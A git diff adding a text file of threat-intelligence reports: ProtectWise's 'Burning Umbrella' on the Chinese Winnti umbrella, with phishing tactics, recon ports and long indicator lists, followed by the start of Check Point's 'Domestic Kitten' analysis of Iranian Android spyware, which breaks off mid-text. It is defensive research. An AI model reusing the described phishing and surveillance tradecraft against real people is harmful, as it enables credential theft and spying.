diff --git "a/2018.clean.txt" "b/2018.clean.txt" new file mode 100644--- /dev/null +++ "b/2018.clean.txt" @@ -0,0 +1,12634 @@ +Burning Umbrella +An Intelligence Report on the Winnti Umbrella and +Associated State-Sponsored Attackers. +Tom Hegel +May 3, 2018 +Table of Contents +Table of Contents +Key Judgements +Report Summary +Background +Analysis of Attacks on Initial Targets +Investigative Findings +Conclusion +Appendix A: Associated Indicators +About 401TRG +Key Judgements +We assess with high confidence that the Winnti umbrella is associated with +the Chinese state intelligence apparatus, with at least some elements located +in the Xicheng District of Beijing. +A number of Chinese state intelligence operations from 2009 to 2018 that +were previously unconnected publicly are in fact linked to the Winnti +umbrella. +We assess with high confidence that multiple publicly reported threat actors +operate with some shared goals and resources as part of the Chinese state +intelligence apparatus. +Initial attack targets are commonly software and gaming organizations in +United States, Japan, South Korea, and China. Later stage high profile +targets tend to be politically motivated or high value technology +organizations. +The Winnti umbrella continues to operate highly successfully in 2018. Their +tactics, techniques, and procedures (TTPs) remain consistent, though they +experiment with new tooling and attack methodologies often. +Operational security mistakes during attacks have allowed us to acquire +metrics on the success of some Winnti umbrella spear phishing campaigns +and identify attacker location with high confidence. +The theft of code signing certificates is a primary objective of the Winnti +umbrella +s initial attacks, with potential secondary objectives based around +financial gain. +Report Summary +The purpose of this report is to make public previously unreported links that exist +between a number of Chinese state intelligence operations. These operations and +the groups that perform them are all linked to the Winnti umbrella and operate +under the Chinese state intelligence apparatus. Contained in this report are details +about previously unknown attacks against organizations and how these attacks are +linked to the evolution of the Chinese intelligence apparatus over the past decade. +Based on our findings, attacks against smaller organizations operate with the +objective of finding and exfiltrating code signing certificates to sign malware for use +in attacks against higher value targets. Our primary telemetry consists of months to +years of full fidelity network traffic captures. This dataset allowed us to investigate +active compromises at multiple organizations and run detections against the +historical dataset, allowing us to perform a large amount of external infrastructure +analysis. +Background +The Winnti umbrella and closely associated entities has been active since at least +2009, with some reports of possible activity as early as 2007. The term "umbrella" is +used in this report because current intelligence indicates that the overarching entity +consists of multiple teams/actors whose tactics, techniques, and procedures align, +and whose infrastructure and operations overlap. We assess that the different +stages of associated attacks are operated by separate teams/actors, however in +this report we will show that the lines between them are blurred and that they are +all associated with the same greater entity. The Winnti and Axiom group names +were created by Kaspersky Lab and Symantec, respectively, for their 2013/2014 +reports on the original group. The name +Winnti + is now primarily used to refer to a +custom backdoor used by groups under the umbrella. Multiple sources of public and +private threat intelligence have their own names for individual teams. For example, +LEAD is a common alias for the group targeting online gaming, telecom, and high +tech organizations. Other aliases for groups related include BARIUM, Wicked +Panda, GREF, PassCV, and others. This report details how these groups are linked +together and serve a broader attacker mission. The many names associated with +actors in the greater intelligence mission are due to the fact that they are built on +telemetry of the intelligence provider which is typically unique and dependent on +their specific dataset. This report focuses heavily on networking related telemetry. +We assess with high confidence that the attackers discussed here are associated +with the Chinese state intelligence apparatus. This assessment is based on attacker +TTPs, observed attack infrastructure, and links to previously published intelligence. +Their operations against gaming and technology organizations are believed to be +economically motivated in nature. However, based on the findings shared in this +report we assess with high confidence that the actor +s primary long-term mission is +politically focused. It +s important to note that not all publicly reported operations +related to Chinese intelligence are tracked or linked to this group of actors. However, +TTPs, infrastructure, and tooling show some overlap with other Chinese-speaking +threat actors, suggesting that the Chinese intelligence community shares human +and technological resources across organizations. We assess with medium to high +confidence that the various operations described in this report are the work of +individual teams, including contractors external to the Chinese government, with +varying levels of expertise, cooperating on a specific agenda. +In 2015 the People +s Liberation Army of China (PLA) began a major reorganization +which included the creation of the Strategic Support Force (SSF / PLASSF). SSF is +responsible for space, cyber, and electronic warfare missions. Some of the overlap +we observed from groups could potentially be related to this reorganization. +Notably, key incident details below include attacker mistakes that likely reveal the +true location of some attackers as the Xicheng District of Beijing. +Tactics, Techniques, and Procedures (TTPs): +Though the TTPs of the attacking teams vary depending on the operation, their use +of overlapping resources presents a common actor profile. Key interests during +attacks often include the theft of code signing certificates, source code, and internal +technology documentation. They also may attempt to manipulate virtual economies +for financial gain. While unconfirmed, the financial secondary objective may be +related to personal interests of the individuals behind the attacks. +Initial attack methods include phishing to gain entry into target organization +networks. The group then follows with custom malware or publicly available +offensive tooling (Metasploit/Cobalt Strike), and may use a number of methods to +minimize their risk of being detected. Such techniques include a particular focus on +living off the land + by using a victim's own software products, approved remote +access systems, or system administration tools for spreading and maintaining +unauthorized access to the network. +We have observed incidents where the attacker used other victim organizations as +a proxy for unauthorized remote access. In these cases, organization 1 had been +compromised for a long period of time, and the attacker accessed victim +organization 2 via the organization 1 network. +Delivery and C2 domains routinely have subdomains which resemble target +organizations. Additionally, their C2 domains are used across many targets, while +subdomains tend to be created and removed quickly and are unique to a particular +target or campaign. Also noteworthy is that the actors set their domains to resolve +to 127.0.0.1 when not in use, similar to what was originally reported on by +Kaspersky Lab (see below). +The actor often uses TLS encryption for varying aspects of C2 and malware delivery. +As noted in the +Infrastructure Analysis + section of this report, the actor primarily +abuses Let +s Encrypt to sign SSL certificates. We also observed many cases in +which self-signed certificates were used in attacks. +Overall, the Winnti umbrella and linked groups are lacking when it comes to +operational security. However, some activities linked to these groups follow better +operational security and infrastructure management approaches. This may be a clue +to the division of responsibilities by team and skill level within the broader +organization. +Targets: +The Winnti umbrella and linked groups + initial targets are gaming studios and high +tech businesses. They primarily seek code signing certificates and software +manipulation, with potential financially motivated secondary objectives. These +targets have been identified in the United States, Japan, South Korea, and China. +Based on the infrastructure, links to previous reporting, and recently observed +attacks, the broader organization +s main targets are political. Historically this has +included Tibetan and Chinese journalists, Uyghur and Tibetan activists, the +government of Thailand, and prominent international technology organizations. +One example of a politically focused lure by the Winnti umbrella and linked groups is +an end of 2017 document titled +Resolution 2375 (2017) Strengthening Sanctions +on DPR of KOREA + which is a malicious file associated with the C2 infrastructure +described here - see MD5: 3b58e122d9e17121416b146daab4db9d. +Some Key Public Reports: +2013 +Kaspersky Lab publicly reported o + n the original Winnti group +, technical details +around the +Winnti samples +, and v + arious honeypot analysis methods +. Most +noteworthy is the Winnti umbrella +s targeting of gaming organizations in search of +code signing certificates, virtual currencies, and updating mechanisms which could +potentially be used to attack victims + clients. Interestingly, this was the first +identified trojan for the 64-bit Microsoft Windows operating system with a valid +digital signature as noted by the author. The abuse of signed applications is a very +effective attack approach that the entity continues to use. +2014 +Novetta released an o + utstanding report detailing +Operation SMN, + in which they +collaborated with a number of private organizations on a large scale malware +eradication operation which is linked to the original Winnti group by the malware +being delivered. In the report, the actor is named Axiom. Novetta reported links to +publications from as far back as 2009 that also link the group to the Chinese state +intelligence apparatus with high confidence. Links exist to various known attacks +and actor groups, such as +Operation Aurora, + Elderwood Group +s successful 2010 +attack against Google and many other organizations. Another link exists to the +successful compromise of the security organization B + it9 in 2013 +, where their own +product was used to sign and spread malware to their customers. In addition, +FireEye +Operation DeputyDog + detailed attacks on Japanese targets from the +same attack infrastructure. Many other incidents are detailed in the Operation SMN +report. Following all of these details back in time, we can see an overlap in TTPs and +targets from the +APT1 report by Mandiant +, which serves as a great historical +example of Chinese intelligence cyber operations in their most basic form. +2016 +Cylance +released a blog post + reporting on digitally signed malware used in targeted +attacks against gaming organizations in China, Taiwan, South Korea, Europe, +Russia, and the United States. Cylance refers to the attacking entity as +PassCV +their reporting. Cylance successfully identified a large quantity of malware binaries +which were signed with valid certificates stolen from a number of gaming studios in +East Asia. In addition to detailing the individual certificates and signed malware, +they identified a significant amount of network infrastructure which contain various +interesting links to our own findings. +2017 - March/April +Trend Micro reported o + n attacks that abused GitHub for use in malware command +and control, which they attributed to the original Winnti group. Amusingly, Trend +Micro later reported on an individual linked to the group and the attacks +happens to be a fan of pigs +2017 - July 5th +Citizen Lab reported + on attacks against journalists by an actor mimicking +China-focused news organizations HK01, Epoch Times, Mingjing News, and Bowen +Press. As Citizen Lab noted, these news organizations are blocked in China for their +political views. The report notes that malware used in these attacks was linked to a +stolen code signing certificate mentioned in the Cylance PassCV post. That overlap, +in addition to infrastructure links from a + Palo Alto Unit 42 blog post +, strongly links +this attack to the previously mentioned reports as well as to our own. As Unit 42 +reports, the attacks against entities in the government of Thailand used the +bookworm + trojan. +2017 - July/October +ProtectWise 401TRG published our own findings + and +an update + on LEAD using +open source and public tooling in attacks against Japanese gaming organizations. +These attacks are linked with high confidence to ongoing operations in the United +States and East Asia. +Other Noteworthy Events +In 2017, multiple supply-chain attacks occurred which had some similarities to the +Winnti umbrella and associated entities. For example, K + aspersky reported on +ShadowPad +, a large-scale compromise of NetSarang, which resembles the Winnti +and PlugX malware. In addition, +Kaspersky + and I + ntezer + identified notable code +similarities to the Winnti umbrella and APT17 in the compromise of Piriform, which +allowed attackers to sign and spread altered versions of the CCleaner software to a +large customer base. +Analysis of Attacks on Initial Targets +Throughout 2017 and 2018, ProtectWise 401TRG was involved in a number of +detection and incident response engagements with our customers that linked back +to the Winnti umbrella and other closely associated entities. Through the analysis of +public and private intelligence, we have successfully identified similar attacks, which +allow us to assess with high confidence that the details below follow a global attack +trend as the Chinese intelligence operations have evolved over time. +2017 Operations: +One of the most common tactics used by the Winnti umbrella and related entities is +phishing users whose credentials may provide elevated access to a target network. +We have observed spear-phishing campaigns that target human resources and +hiring managers, IT staff, and internal information security staff, which are generally +very effective. +In 2017 the entity focused most of its efforts around technical job applicant email +submissions to software engineering, IT, and recruiting staff, which we originally +reported on at our 4 + 01trg.pw + blog. The phishing lures used multiple languages, +including Japanese as in the below example: +The approximate translation is as follows: +I saw your job posting. My main languages are Object-C, JAVA, and Swift, +and I have 7 years experience with Ruby and 6 years experience with PHP. I +have 5 years experience developing iOS apps, as well as Android apps, +AWS, Jenkins, Microsoft Azure, ZendFramework, and smartphone application +payment processing. I also have 5 years experience with MSSQL, Mysql, +Oracle, and PostgreSQL. Please see here: [malicious link] +The process that followed a target clicking the malicious link evolved as the attacker +progressed through the campaigns. The links consistently sent the victim to a fake +resume, but the exact format of that resume changed over time; we have observed +resumes being delivered as DOC, XLS, PDF, and HTML files. Once opened, the fake +resumes performed various actions in an effort to download malware onto the +victim host. During the same time period, we also observed the actor using the +Browser Exploitation Framework (BeEF) to compromise victim hosts and download +Cobalt Strike. In this campaign, the attackers experimented with publicly available +tooling for attack operations. During this infection process, the actor was known to +check the target operating system and deliver malware, signed by a previously +stolen key, for the appropriate host environment. In some cases, valid Apple +certificates stolen from victims were used in this process, which linked the attack to +additional victim organizations. +Post-compromise actions by the attacker followed a common pattern. First they +attempted to spread laterally in the network using stolen credentials and various +reconnaissance efforts, such as manually examining shares and local files. The +primary goal of these attacks was likely to find code-signing certificates for signing +future malware. The secondary goals of the attackers depended on the type of +victim organization, but were often financial. For example, gaming organizations +tended to fall victim to manipulation or theft of in-game virtual currencies. +Non-gaming victims may have experienced theft of intellectual property such as +user or technology data. +2018 Operations: +More recently, various attack campaigns from the Winnti umbrella and associated +groups have been very successful without the use of any exploits or malware. +Phishing remains the initial infection vector but the campaign themes have matured. +In 2018, the campaigns have largely been focused on common services such as +Office 365 and Gmail. +It is important to note that attackers likely have additional information on their +target organizations' preferred email solutions based on previous incidents or open +source intelligence. +In more recent phishing campaigns conducted by the Winnti umbrella and +associated groups, URL shortening services have been used. For example, Google +URL shortening service goo.gl was used over the past weeks, allowing us to gain +insight into the scale of this campaign using publicly available analytics. +As you can see from the above screenshot, this particular phishing campaign ran +from March 20th to March 28th, 2018. Notably, the link was created on February +23rd, 2018, indicating roughly three weeks of preparation for the attacks. These +metrics allow us to gain insight into who clicked the link in a phishing email and was +directed to a phishing or malware delivery landing page. According to Google +analytics, there were a total of 56 clicks. 29 were from Japan, 15 from the United +States, 2 from India, and 1 from Russia. 33 of the clicks were from Google Chrome, +and 23 were from Safari. 30 were from Windows OS hosts, and 26 were macOS +hosts. +In general, the attackers phish for credentials to a user +s cloud storage, and would +be expected to later attempt malware delivery in the cases of a failed credential +phish or valueless cloud storage. +In cases where the victim uses O365 and/or G-suite for enterprise file storage, the +attackers manually review the contents for data of value. If code signing certificates +are stored here, the primary mission has been accomplished, as they may be easily +downloaded. In other cases, the attackers attempt to use other files and +documentation in the cloud storage to help them traverse or gain privileges on the +network. The targets in 2018 include IT staff, and commonly sought out files include +internal network documentation and tooling such as corporate remote access +software. +Once the attackers gain remote access to the network via malware or stolen remote +access tooling and credentials, the operation continues as we +ve seen, though their +post-compromise actions have become more efficient and automated. Internal +reconnaissance is performed by scanning the internal network for open ports 80, +139, 445, 6379, 8080, 10022, and 30304. The choice of ports by the attacker +indicates a strong interest in internal web and file storage services. An interesting +addition is the use of 30304, which is the peer discovery port for Ethereum clients. +In the attackers + ideal situation, all remote access occurs through their own C2 +infrastructure, which acts as a proxy and obscures their true location. However, we +have observed a few cases of the attackers mistakenly accessing victim machines +without a proxy, potentially identifying the true location of the individual running the +session. In all of these cases, the net block was 221.216.0.0/13, the China Unicom +Beijing Network, Xicheng District. +Visualizing Attacker Infrastructure +Based on the various incidents we have been involved in, in addition to past public +reporting and open-source intelligence, we can construct a map representing the +infrastructure most closely associated with the Winnti umbrella and closely related +entities. For the sake of producing an accurate representation of the infrastructure, +we are excluding any shared infrastructure (such as hosting provider IPs used for +many unrelated domains) and low confidence indicators. Please note this is not an +exhaustive list of all active infrastructure in use by the group. +As detailed below, this infrastructure spans at least eight years of activity by the +Winnti umbrella and related groups. Please note, as this section heavily references +the +Some Key Public Reports + section, above, we recommend reading that first. +Indicators are provided in Appendix A. +1. The area of the map labeled #1 is the phishing, malware delivery, fake +resume, and C2 infrastructure. This includes domains, IPs, malware hashes, +SSL certificates, and WHOIS information. In this section of the infrastructure, +we primarily observe the network and file indicators which would be used +against targets valued for code signing certificates, software manipulation, +and potential financial manipulation. The indicators detailed in the 2017 & +2018 Initial Target section of this report are located in #1. Infrastructure in +this area is currently in use and not entirely historical. +2. This area is a network that we assess is associated with the umbrella with +low confidence. The most interesting findings here are the large number of +s Encrypt SSL certificates in use and the overlap with attacker exclusive +infrastructure. This proposed relationship is generated by infrastructure links +alone, as no malicious activity has been confirmed to or from region #2. +Infrastructure in this area is currently in use and not historical. +3. Area #3 is linked to the initial attack infrastructure (#1) by domain WHOIS +details, likely from operational security mistakes. We assess with high +confidence that these infrastructures are linked. Based on the lax structure +and naming of this section, it is highly probable that it is used for attacker +experimenting and development. Some examples include domains such as +nobody.will.know.whoami[.]la +secret.whoami[.]la +, and +no.ip.detect.if.using.ipv6[.]la +. Infrastructure in this area is currently in use +and not historical. +4. This area has various links to #3 in which an individual software developer is +identified. We asses this connection with low to medium confidence and will +refrain from publicly sharing details in this report. This area contains many +personally operated domains and SSL certificates. Infrastructure in this area +is currently in use and not historical. +5. Area #5 of the map is part of what Novetta reported on as Operation SMN in +2014. Infrastructure in this area is purely historical and based on Novetta +reporting, which we can link to area #1 via known umbrella infrastructure. +The vast majority of indicators in this area are the +many associated hashes +combined with their C2 destination domains and IPs. +6. This area of the map is what Cylance reported on as PassCV in 2016. The +vast majority of infrastructure and indicators here are stolen code signing +certificates, malware signed with the certificates, and C2 domains. This area +contains information on many victims of campaigns related to area #1. +Infrastructure in this area is historical. We assess that this area is linked to +the Winnti umbrella with high confidence. +7. This section represents infrastructure identified by Citizen Lab in their July 5th +2017 reporting on attacks against journalists. As they originally identified, +one of the NetWire binaries was signed with a stolen certificate linked to #6, +the Cylance PassCV report. We were able to further expand this section by +pivoting off of additional domain WHOIS information. +8. Lastly is area #8, which links back with high confidence to #7 (Citizen Lab +reporting) and #6 (PassCV). This area consists of domains, IPs, MD5 file +hashes, and further WHOIS operational security mistakes. This area is similar +in functionality to #1 and #3, serving as infrastructure for both high-value +politically focused attacks and developer personal use. This section links to +the online identities of an individual we asses to be associated with the +Winnti umbrella or a closely related group at a medium to high confidence. +Infrastructure in this area is currently in use and not historical. One example +of malicious activity in this area was the document detailing the +strengthening of sanctions against North Korea, above. These activities are +similar to the type of politically motivated targeted attacks Citizen Lab +reported on. Some infrastructure in this area is currently in use and is not +completely historical. +Investigative Findings +Based on incident response engagements, research into the associated attacker +infrastructure, and previously reported research, we can summarize our findings as +follows: +1. The Chinese intelligence apparatus has been reported on under many +names, including Winnti, PassCV, APT17, Axiom, LEAD, BARIUM, Wicked +Panda, and GREF. +2. The overlap of TTPs and infrastructure between the Winnti umbrella and +other groups indicates the use of shared human and technology resources +working towards an overarching goal. Operational security mistakes allow +the linking of attacks on lower value targets to higher value campaigns. +Reuse of older attack infrastructure, links to personal networks, and observed +TTPs play a role in this overlap. +3. The attackers behind observed activity in 2018 operate from the Xicheng +District of Beijing via the net block 221.216.0.0/13. +4. Initial attack targets are commonly software organizations in the United +States, Japan, South Korea, and China. Later stage high profile targets tend +to be political organizations or high-value technology companies. +5. The attackers grow and learn to evade detection when possible, but lack +operational security when it comes to the reuse of some tooling. Living off the +land and adaptability to individual target networks allow them to operate +with high rates of success. +Conclusion +We hope the information we +ve shared in this report will help potential targets and +known victims in addition to the greater information security community. Though +they have at times been sloppy, the Winnti umbrella and its associated entities +remain an advanced and potent threat. We hope that the information contained +within this report will help defenders thwart this group in the future. +d like to extend a special thank you to all the victims, targets, researchers, and +security vendors who have shared their own findings over the years. +Appendix A: Associated Indicators +If you are interested in automating the intake of public 401TRG indicators, we +recommend using our g + ithub detections repository +Area #1: +Type +Indicator +IP Address +106.184.5.252 +IP Address +106.185.31.128 +IP Address +106.186.122.96 +IP Address +13.115.93.210 +IP Address +133.242.145.137 +IP Address +139.162.106.19 +IP Address +139.162.119.48 +IP Address +139.162.17.161 +IP Address +139.162.79.40 +IP Address +139.162.95.39 +IP Address +159.65.71.30 +IP Address +172.104.101.131 +IP Address +172.104.115.124 +IP Address +198.199.78.207 +IP Address +207.126.114.154 +IP Address +45.32.18.187 +IP Address +45.77.179.192 +IP Address +52.199.202.13 +IP Address +61.78.62.102 +IP Address +61.78.62.21 +IP Address +61.78.62.61 +Domain +11116[.]intra[.]applestunes[.]com +Domain +24287[.]intra[.]applestunes[.]com +Domain +26707[.]intra[.]applestunes[.]com +Domain +33604[.]intra[.]applestunes[.]com +Domain +account[.]microsoftssonline[.]com +Domain +account[.]micrrosoftsonline[.]com +Domain +account[.]outlook-s[.]com +Domain +accounts[.]gmail[.]sa[.]com +Domain +accounts[.]google-acc[.]com +Domain +accounts[.]google-caches[.]com +Domain +alienlol[.]com +Domain +app[.]appaffect[.]com +Domain +appaffect[.]com +Domain +applestunes[.]com +Domain +applevswin[.]com +Domain +asmc[.]best +Domain +atliassian[.]com +Domain +awsprocduction[.]immigrantlol[.]com +Domain +awsstatics[.]com +Domain +css[.]google-statics[.]com +Domain +dnslog[.]mobi +Domain +eggagent[.]info +Domain +exoticlol[.]com +Domain +ftp[.]appaffect[.]com +Domain +ftp[.]eggagent[.]info +Domain +ftp[.]ssrsec[.]com +Domain +ftp[.]winter[.]tokyo +Domain +gmail[.]sa[.]com +Domain +google-acc[.]com +Domain +google-caches[.]com +Domain +google-searching[.]com +Domain +google-statics[.]com +Domain +googlecloud[.]center +Domain +gstatic[.]guide +Domain +helpdesk[.]access[.]ly +Domain +id[.]atliassian[.]com +Domain +immigrantlol[.]com +Domain +intra2015[.]awsstatics[.]com +Domain +job[.]yoyakuweb[.]technology +Domain +jobcenters[.]com +Domain +jobscenters[.]org +Domain +k0oo[.]co +Domain +login[.]gmail[.]sa[.]com +Domain +login[.]microsoftssonline[.]com +Domain +login[.]micrrosoftsonline[.]com +Domain +macos[.]exoticlol[.]com +Domain +mail[.]appaffect[.]com +Domain +mail[.]atliassian[.]com +Domain +mail[.]awsstatics[.]com +Domain +mail[.]google-acc[.]com +Domain +mail[.]google-caches[.]com +Domain +mail[.]microsoftssonline[.]com +Domain +mail[.]micrrosoftsonline[.]com +Domain +mail[.]mondoor[.]tv +Domain +mail[.]outlook-s[.]com +Domain +mail[.]ssrsec[.]com +Domain +mail[.]winter[.]tokyo +Domain +martianlol[.]com +Domain +microsoftsec[.]com +Domain +microsoftssonline[.]com +Domain +mondoor[.]tv +Domain +ns1[.]google-searching[.]com +Domain +ns2[.]googlecloud[.]center +Domain +outerlol[.]com +Domain +outlook-s[.]com +Domain +proappcs[.]com +Domain +rabbit[.]awsstatics[.]com +Domain +resume[.]immigrantlol[.]com +Domain +snow[.]winter[.]tokyo +Domain +sqlmapff[.]com +Domain +sshsocks[.]google-searching[.]com +Domain +ssl[.]gmail[.]sa[.]com +Domain +ssl[.]google-acc[.]com +Domain +ssl[.]google-caches[.]com +Domain +ssrsec[.]com +Domain +strangelol[.]com +Domain +summer[.]winter[.]tokyo +Domain +support[.]theonelogin[.]com +Domain +theonelogin[.]com +Domain +vmxesxi[.]google-searching[.]com +Domain +vps2java[.]securitytactics[.]com +Domain +winter[.]tokyo +Domain +www5363uj[.]sakura[.]ne[.]jp +Domain +yoyakuweb[.]technology +SSL Cert SHA1 +512509787e4da7aaf71b89d25698a9e9d43501fd +SSL Cert SHA1 +bd3abf19f065d102503e9186c152e529d3e33143 +SSL Cert SHA1 +df7826303b98004afd1102f597f6c7b067086a00 +SSL Cert SHA1 +1217cbb57fb26bd52d976f34571bd6c6514265e9 +SSL Cert SHA1 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+chinadagitaltimes[.]net +Domain +datalink[.]one +Domain +bowenpress[.]org +Domain +bowenpress[.]net +Domain +bowenpross[.]com +Domain +tibetonline[.]info +WHOIS Phone +12126881188 +WHOIS Email +aobama_5@yahoo[.]com +Area #8: +Type +Indicator +IP Address +103.82.52.111 +IP Address +103.82.52.18 +IP Address +118.184.85.135 +IP Address +118.193.222.253 +IP Address +205.209.149.144 +IP Address +205.209.186.164 +Domain +5tua[.]com +Domain +862283496@qq[.]com +Domain +aboluewang[.]com +Domain +airsportschina[.]net +Domain +bafangqudao[.]com +Domain +chongzhonglaw[.]com +Domain +duoxiantong[.]com +Domain +find-iphone-icloudcn[.]com +Domain +find-iphone-icloudids[.]com +Domain +find-iphone-iclouds[.]com +Domain +find-iphone-icloudss[.]com +Domain +find-iphone-idicloud[.]com +Domain +find-iphone7-icloud[.]com +Domain +find-iphoneid-itunes[.]com +Domain +freesss[.]net +Domain +gistal[.]com +Domain +guizuidc[.]com +Domain +huanjue123[.]zs[.]guizuidc[.]com +Domain +kuaiwenwang[.]com +Domain +laoa8[.]com +Domain +lycostal[.]com +Domain +mail[.]gistal[.]com +Domain +mail[.]lycostal[.]com +Domain +mail[.]openncheckmail[.]com +Domain +maozai huanjue +Domain +mianbeiankj[.]com +Domain +openmd5[.]com +Domain +openncheckmail[.]com +Domain +senvmeitu[.]com +Domain +shijihulian[.]com +Domain +shiyuesun[.]com +Domain +tjglmy[.]com +Domain +tqvps[.]com +Domain +ttidc[.]net +Domain +tyuweb[.]com +Domain +user[.]xiangyunvps[.]com +Domain +user[.]xiangyunvps[.]net +Domain +vpsgys[.]com +Domain +www[.]5tua[.]com +Domain +www[.]chongzhonglaw[.]com +Domain +www[.]duoxiantong[.]com +Domain +www[.]find-iphone-idicloud[.]com +Domain +www[.]find-iphone7-icloud[.]com +Domain +www[.]kuaiwenwang[.]com +Domain +www[.]laoa8[.]com +Domain +www[.]tqvps[.]com +Domain +www[.]ttidc[.]net +Domain +www[.]xiangyunhulian[.]com +Domain +www[.]xiangyunvps[.]com +Domain +www[.]xiangyunvps[.]net +Domain +www[.]xunsuhulian[.]com +Domain +xgyun[.]vip +Domain +xiangyunhulian[.]com +Domain +xiangyunvps[.]net +Domain +xunsuhulian[.]com +MD5 File Hash +3b58e122d9e17121416b146daab4db9d +MD5 File Hash +b6be3f0864354a2e68144d17c3884d3b +MD5 File Hash +d848d4ec24e678727b63251e54a0a5de +WHOIS Email +huajue1019@qq[.]com +WHOIS Email +huajue1019@vip.qq[.]com +WHOIS Email +huanjue1019@qq[.]com +WHOIS Email +rooterit@outlook[.]com +SSL Cert SHA1 +5a1c6ae9e2633df29c01a2668538e0203de375b2 +About 401TRG +401TRG (Threat Research Group) is the Threat Research & Analysis Team at +ProtectWise. Using our experience and background in incident response and +network forensics in both the public and private sectors, we study +ProtectWise's extensive network-oriented datasets. This work is focused +around network traffic analysis, reverse engineering malware, building +behavioral detections, and much more. We are sharing our knowledge and +intelligence discoveries with fellow network defenders and information +security professionals to strengthen the community as a whole. +2018 ProtectWise, Inc. All rights reserved. +Domestic Kitten: An Iranian Surveillance Operation +research.checkpoint.com/domestic-kitten-an-iranian-surveillance-operation +September 7, +2018 +Chinese strategist Sun Tzu, Italian political philosopher Machiavelli and English philosopher +Thomas Hobbes all justified deceit in war as a legitimate form of warfare. Preceding them +all, however, were some in the Middle East who had already internalized and implemented +this strategy to great effect, and continue to do so today. +Recent investigations by Check Point researchers reveal an extensive and targeted attack +that has been taking place since 2016 and, until now, has remained under the radar due to +the artful deception of its attackers towards their targets. Through the use of mobile +applications, those behind the attack use fake decoy content to entice their victims to +download such applications, which are in fact loaded with spyware, to then collect sensitive +information about them. Interestingly, these targets include Kurdish and Turkish natives +and ISIS supporters. Most interesting of all, though, is that all these targets are actually +Iranians citizens. +What Information is Collected? +Considering the nature of the target, the data collected about these groups provides those +behind the campaign with highly valuable information that will no doubt be leveraged in +further future action against them. Indeed, the malware collects data including contact lists +stored on the victim +s mobile device, phone call records, SMS messages, browser history +and bookmarks, geo-location of the victim, photos, surrounding voice recordings and more. +Who is Behind the Attack? +While the exact identity of the actor behind the attack remains unconfirmed, current +observations of those targeted, the nature of the apps and the attack infrastructure +involved leads us to believe this operation is of Iranian origin. In fact, according to our +discussions with intelligence experts familiar with the political discourse in this part of the +world, Iranian government entities, such as the Islamic Revolutionary Guard Corps (IRGC), +Ministry of Intelligence, Ministry of Interior and others, frequently conduct extensive +surveillance of these groups. +Indeed, these surveillance programs are used against individuals and groups that could +pose a threat to stability of the Iranian regime. These could include internal dissidents and +opposition forces, as well as ISIS advocates and the Kurdish minority settled mainly in +Western Iran. +1/10 +While our investigation is still in progress, the research below reveals the full extent of these +targeted attacks, its infrastructure and victims and the possible political story behind it. In +the meantime, we have dubbed this operation +Domestic Kitten + in line with the naming of +other Iranian APT attacks. +Data Collection via Mobile Applications +Victims are first lured into downloading applications which is believed to be of interest to +them. The applications our researchers discovered included an ISIS branded wallpaper +changer, +updates + from the ANF Kurdistan news agency and a fake version of the +messaging app, Vidogram. +Regarding the ISIS-themed application, its main functionality is setting wallpapers of ISIS +pictures, and therefore seems to be targeting the terror organization +s advocates. Curiously, +its Arabic name is grammatically incorrect ( +, which should instead be +Figure 1: The application offering Isis-related wallpapers. +2/10 +Figure 2: ANF News Agency website, on which the decoy app is based. +3/10 +With regards to the ANF News Agency app, while ANF is a legitimate Kurdish news website +its app has been fabricated by the attackers to pose as the legitimate app in order to +deceive their targets. +Due to the names and content that is offered by the above mentioned applications then, we +are lead to believe that specific political groups and users, mainly ISIS supporters and the +Kurdish ethnic group, are targeted by the operation. +However, when most of the victims are actually Iranian citizens, it raises more pertinent +questions about who may be behind the attack. Due to the attack infrastructure, reviewed +below, and its consistency with previous investigations of state-sponsored Iranian +operations covered by Check Point researchers, we were led to believe that Iranian +government agencies may well be behind the campaign. +Technical Analysis +A closer look at each of the applications used in the campaign show them to have the same +certificate that was issued in 2016. This certificate is associated with the e-mail address +telecom2016@yahoo[.]com +, as seen below. +Figure 3: Attack applications certificate uses the same email address +telecom2016@yahoo[.]com +Unfortunately not much is known about this e-mail address, as it was not used to register +any domain names or to launch attacks in the past. +Another unique characteristic of the applications used, though, is that all of the samples +analyzed have several classes that are under a misspelled package name, +andriod.browser +4/10 +Figure 4: The malicious applications + classes. +These classes are seen to be in charge of data exfiltration, +collecting sensitive information from the victim +s device. +Such information includes: +SMS/MMS messages +phone calls records +Contacts list +Browser history and bookmarks +External storage +Application list +Clipboard content +Geo-location and camera photos +Interestingly, they also collect surrounding voice +recordings. +5/10 +Figure 5: Examples of the malicious code. +All of the stolen data is then send back to C&C servers using HTTP POST requests. +Additionally, one of the applications contacts firmwaresystemupdate[.]com, a newly +registered website that was seen to resolve to an Iranian IP address at first, but then +switched to a Russian address. +Figure 6: One of the decoy applications contact firmwaresystemupdate[.]com +The rest of the applications contact IP addresses directly, which unlike the previous domain, +are base64 encoded and XORed: +6/10 +Figure 7: The C&C decoding. +Although these IP addresses were contacted directly, they are newly registered domains +that resolve to each of the IP addresses and they all follow the same pattern of a first namesurname naming convention: +Stevenwentz[.]com +Ronaldlubbers[.]site +Georgethompson[.]space +Each victim then receives a unique device UUID (a UUID is the encoded value of device +android_id), which appears at the beginning of each log that is sent back to the attacker, +with the title of each log having the same structure: UUID_LogDate_LogTime.log. +When a log is created for a victim, some basic information is then collected and +documented prior to the logging of phone call details. In addition, all the logs use a unique +delimiter + to separate between the fields of the stolen data: +Figure 8: SMS log example. +The different classes then collect relevant data, +and add them to such a log that is then zipped. +Afterwards, the archive is encrypted using AES, +with the device UUID as the encryption key, as +seen in the below code: +7/10 +Figure 9: The application +s encryption method. +This information is collected and sent back to C&C servers when the command is received +from the attacker. These commands also follow the same structure as the log, as it uses the +same delimiter, and can include things such as +Get File +Set Server +Get Contacts + and +more: +Figure 10: Example of commands sent from the server. +As a result of all the above, this glance into inner working of this attack infrastructure +therefore allowed us to form a precise idea about how wide this attack is and the victims +targeted. +Victim Distribution +Having analyzed the full extent of the operation, as well as some extensive information +about the attacked devices and the log files collected, we understood that around 240 users +have so far fallen victim to this surveillance campaign. +In addition, due to careful documentation of the campaign by its creators showed we were +able to learn that over 97% of its victims are Iranian, consistently aligning with our +estimation that this campaign is of Iranian origin. +8/10 +In addition to the Iranian targets discovered, we also found victims from Afghanistan, Iraq +and Great Britain. Interestingly, the log documentation includes the name of the malicious +application used to intercept the victims + data, as well as an Application Code Name field. +This field includes a short description of the app, which leads us to believe that this is a field +used by the attackers to instantly recognize the application used by the victim. Observed +code names includes +Daesh4 + (ISIS4), +Military News +Weapon2 +Poetry Kurdish +Below is a visualization of 